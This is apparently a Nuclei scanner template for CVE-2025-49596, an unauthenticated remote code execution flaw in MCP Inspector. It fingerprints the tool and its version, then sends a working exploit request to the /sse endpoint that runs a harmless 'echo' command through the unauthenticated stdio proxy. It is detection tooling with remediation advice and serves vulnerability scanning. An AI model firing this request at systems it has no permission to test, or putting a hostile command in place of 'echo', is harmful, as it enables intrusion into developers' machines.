id: CVE-2025-49596

info:
  name: MCP Inspector < 0.14.0 UnauthenticatedRemote Code Execution
  author: ye11oc4t
  severity: critical
  description: |
    The MCP inspector is a developer tool for testing and debugging MCP servers. Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio.
  impact: |
    Unauthenticated attackers can launch arbitrary MCP commands over stdio due to lack of authentication between Inspector client and proxy, enabling remote code execution.
  remediation: Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49596
    - https://github.com/modelcontextprotocol/inspector
    - https://github.com/modelcontextprotocol/inspector/commit/50df0e1ec488f3983740b4d28d2a968f12eb8979
    - https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g
    - https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596
  classification:
    cve-id: CVE-2025-49596
    cwe-id: CWE-306
    epss-score: 0.0257
    epss-percentile: 0.85746
  metadata:
    verified: true
    fofa-query: title="MCP Inspector"
  tags: cve,cve2025,mcp,anthropic,unauth,passive,vkev,vuln,ai

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,"MCP Inspector")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: js
        group: 1
        part: body
        regex:
          - 'src="([^"]+\.js)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{js}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - compare_versions(version, '< 0.14.0')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        part: body
        regex:
          - 'const\s+version\s*=\s*"([0-9]+\.[0-9]+\.[0-9]+)'

  - method: GET
    path:
      - "{{BaseURL}}/sse?transportType=stdio&command=echo&args[]=hello-from-brower"

    matchers:
      - type: dsl
        dsl:
          - contains_all(body,"endpoint","/message?sessionId=")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        regex:

          - '\/message\?sessionId=([a-z0-9-]+)' # Returns: Session ID as proof of execution
# digest: 4a0a0047304502204c38fdb341fd746b3264724446674e26206b9c2b6260a70dcaa6a781194e7492022100a30e06f06e8b99c8660f2257aee716a95ad3d6928574f3e84191e9e350537924:922c64590222798bb761d5b6d8e72950